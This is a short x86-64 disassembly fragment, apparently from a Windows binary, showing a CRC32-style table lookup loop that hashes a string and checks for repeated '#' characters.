mov eax, dword [rsp + 0x50]
mov dword [rsp], eax
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp]
and ecx, 0xff
movzx edx, byte [rsp + 0x18]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp], eax
jmp 0x1400456e7
jmp 0x14004584b
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 0x2d]
mov byte [rsp + 0x19], al
movzx eax, byte [rsp + 0x19]
test eax, eax
je 0x14004584b
movzx eax, byte [rsp + 0x19]
cmp eax, 0x23
jne 0x140045823
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x140045823
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x140045823
mov eax, dword [rsp + 0x50]
mov dword [rsp], eax
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp]
and ecx, 0xff
movzx edx, byte [rsp + 0x19]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp], eax
jmp 0x1400457b9
mov eax, dword [rsp]
not eax
add rsp, 0x30
pop rdi
ret